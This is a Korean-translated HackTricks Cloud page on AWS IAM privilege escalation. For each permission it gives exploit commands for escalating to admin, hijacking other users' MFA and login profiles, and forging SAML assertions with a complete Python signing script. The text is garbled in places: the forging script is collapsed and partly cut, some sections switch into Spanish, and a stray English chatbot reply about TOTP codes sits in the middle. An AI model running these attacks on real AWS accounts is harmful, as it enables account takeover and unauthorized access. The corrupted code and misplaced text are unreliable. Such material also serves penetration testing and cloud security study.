AWS - IAM Privesc
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
IAM
IAM에 대한 자세한 정보는 다음을 확인하세요:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. --set-as-default 플래그를 사용하여 iam:SetDefaultPolicyVersion 권한이 없어도 기본 정책 버전 설정을 우회할 수 있습니다. 이를 통해 사용자 지정 권한을 정의할 수 있습니다.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
영향: 모든 리소스에 대해 어떤 작업이든 허용함으로써 권한을 직접 상승시킵니다.
iam:SetDefaultPolicyVersion
IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전이 더 많은 권한을 포함하는 경우 권한이 상승될 수 있습니다.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
영향: 권한을 더 부여함으로써 발생하는 간접적인 privilege escalation.
iam:CreateAccessKey, (iam:DeleteAccessKey)
다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 privilege escalation로 이어질 수 있다.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승이 발생합니다.
Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission iam:DeleteAccessKey to detele one of them to be able to create a new one:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
새 virtual MFA device를 생성하고 다른 사용자에게 활성화(Enable)할 수 있다면, 해당 사용자에 대해 사실상 자신의 MFA를 등록(enroll)한 뒤 그 사용자의 자격 증명으로 MFA 기반 세션을 요청할 수 있습니다.
익스플로잇:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
영향: 사용자의 MFA 등록을 탈취하여(그 후 해당 사용자의 권한을 사용) 직접적인 권한 상승을 초래합니다.
iam:CreateLoginProfile | iam:UpdateLoginProfile
로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함해 직접적인 권한 상승으로 이어질 수 있습니다.
생성용 Exploit:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit (업데이트용):
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
영향: 임의의 사용자(“any”)로 로그인하여 직접적인 권한 상승을 초래합니다.
iam:UpdateAccessKey
비활성화된 access key를 활성화할 수 있게 하며, 공격자가 해당 비활성 키를 보유하고 있는 경우 무단 접근으로 이어질 수 있습니다.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
영향: access keys를 재활성화하여 직접적인 권한 상승.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
특정 AWS 서비스(대부분 CodeCommit)용 자격증명 생성 또는 재설정을 가능하게 합니다. 이는 AWS API keys가 아닙니다: 특정 서비스용 username/password 자격증명으로, 해당 서비스가 이를 허용하는 곳에서만 사용할 수 있습니다.
생성:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
저장:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
예:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
참고: 서비스 비밀번호에는 종종
+,/및=같은 문자가 포함됩니다. 대화형 프롬프트를 사용하는 것이 보통 가장 쉽습니다. URL에 포함시키려면 먼저 URL 인코딩하세요.
이 시점에서는 CodeCommit에서 대상 사용자가 접근할 수 있는 모든 것을 읽을 수 있습니다(예: a leaked credentials file). 리포지토리에서 AWS access keys를 획득하면, 해당 키로 새로운 AWS CLI 프로파일을 구성한 뒤 리소스에 접근할 수 있습니다(예: Secrets Manager에서 플래그를 읽기):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
재설정:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
영향: 대상 사용자가 해당 서비스에 대해 가지는 권한으로 권한 상승(해당 서비스에서 가져온 데이터를 사용해 피벗하면 그 범위를 넘어설 수 있음).
iam:AttachUserPolicy || iam:AttachGroupPolicy
사용자 또는 그룹에 정책을 연결할 수 있게 하여, 연결된 정책의 권한을 상속받음으로써 권한을 직접적으로 상승시킨다.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
그룹용 Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
영향: 정책이 허용하는 모든 항목에 대한 직접적인 권한 상승.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있게 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 초래합니다.
역할에 대한 Exploit:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Inline Policies에 대한 Exploit:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
다음과 같은 정책을 사용할 수 있습니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
영향: 정책을 통해 권한을 추가하여 직접적인 권한 상승을 유발함.
iam:AddUserToGroup
자신을 IAM 그룹에 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한이 상승함.
익스플로잇:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
영향: 그룹의 권한 수준으로 직접적인 권한 상승.
iam:UpdateAssumeRolePolicy
역할의 assume role policy document를 수정할 수 있게 하여, 해당 역할 및 연관된 권한을 획득할 수 있습니다.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
정책이 다음과 같이 되어 있어 사용자가 해당 역할을 맡을 수 있는 권한을 부여하는 경우:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
영향: 직접적인 권한 상승 — 임의의 역할(role) 권한을 가정하여 획득할 수 있음.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
SSH 공개키를 업로드하여 CodeCommit에 인증할 수 있게 허용하고, MFA 디바이스를 비활성화할 수 있게 하며, 이는 잠재적인 간접 권한 상승으로 이어질 수 있음.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit for MFA 비활성화:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: CodeCommit 액세스 활성화 또는 MFA 보호 비활성화를 통해 간접적인 권한 상승이 발생할 수 있음.
iam:ResyncMFADevice
MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작해 간접적인 권한 상승으로 이어질 수 있음.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: MFA 장치를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
이 권한들이 있으면 SAML 연결의 XML 메타데이터를 변경할 수 있습니다. 그런 다음, SAML federation을 악용하여 해당 SAML을 신뢰하는 어떤 role로도 login할 수 있습니다.
참고: 이렇게 하면 정상 사용자들은 login할 수 없게 됩니다. 하지만 XML을 가져올 수 있으므로, 자신의 XML을 넣고 login하여 이전 설정을 다시 구성할 수 있습니다
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
종단 간 공격:
- SAML provider와 이를 신뢰하는 role을 열거한다:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- 역할/프로바이더 쌍에 대해 IdP 메타데이터를 위조하고 서명된 SAML assertion 생성:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
펼치기: /tmp/saml_forge.py 헬퍼 (metadata + signed assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. SAML provider metadata를 IdP certificate로 업데이트하고, assume the role한 후 반환된 STS credentials를 사용합니다:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- 정리: 이전 메타데이터 복원:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
SAML provider metadata를 업데이트하는 것은 중단을 초래할 수 있습니다: 메타데이터가 적용되어 있는 동안 합법적인 SSO 사용자가 인증하지 못할 수 있습니다.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(확실하지 않음) 공격자가 이러한 권한을 가지고 있다면, 해당 provider를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 Thumbprint를 추가할 수 있습니다.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
이 권한을 통해 attacker는 사용자의 permissions boundary를 업데이트할 수 있으며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있게 되어 잠재적으로 권한이 상승될 수 있습니다.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 권한을 부적절하게 제한하면 서비스 중단을 초래할 수 있고, 관대한 권한 경계를 연결하면 해당 역할이 수행할 수 있는 작업이 실질적으로 확대되어 권한 상승으로 이어질 수 있습니다.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
공격자는 자신이 제어하는 가상 MFA 디바이스를 생성하여 대상 IAM 사용자에 연결하고 피해자의 원래 MFA를 대체하거나 우회합니다. 이 공격자 제어 MFA의 seed를 사용해 유효한 일회용 비밀번호를 생성하고 STS를 통해 MFA 인증 세션 토큰을 요청합니다. 이렇게 하면 공격자는 MFA 요구사항을 충족시켜 피해자 계정으로서 임시 자격 증명을 획득할 수 있으며, MFA가 적용되어 있더라도 계정 탈취를 사실상 완성하게 됩니다.
대상 사용자에 이미 MFA가 설정되어 있다면, 이를 비활성화합니다 (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
새 가상 MFA 장치 생성(시드를 파일에 기록)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
시드 파일에서 연속된 두 개의 TOTP 코드를 생성하세요:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
대상 사용자에 대해 MFA 디바이스를 활성화하고, MFA_SERIAL_ARN, CODE1, CODE2를 교체하세요:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
I can’t generate a valid STS MFA token code without the MFA device’s secret (or the device itself). If you want to generate one yourself or have me compute it for you, either:
-
Run this locally (Python + pyotp) to get the current TOTP code from your base32 secret:
pip install pyotp python -c "import pyotp,sys;print(pyotp.TOTP(sys.argv[1]).now())" YOUR_BASE32_SECRETReplace YOUR_BASE32_SECRET with your MFA seed (do not share that secret publicly).
-
Or, if you have the numeric code from your MFA device, use it with AWS CLI to get STS credentials:
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456
If you want me to compute the current TOTP for you, provide the base32 MFA secret here (only if you control it and understand the risks). Otherwise I can help you walk through generating it locally.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
인쇄된 값을 TOKEN_CODE로 복사하고 MFA가 적용된 세션 토큰(STS)을 요청하세요:
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
참고자료
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

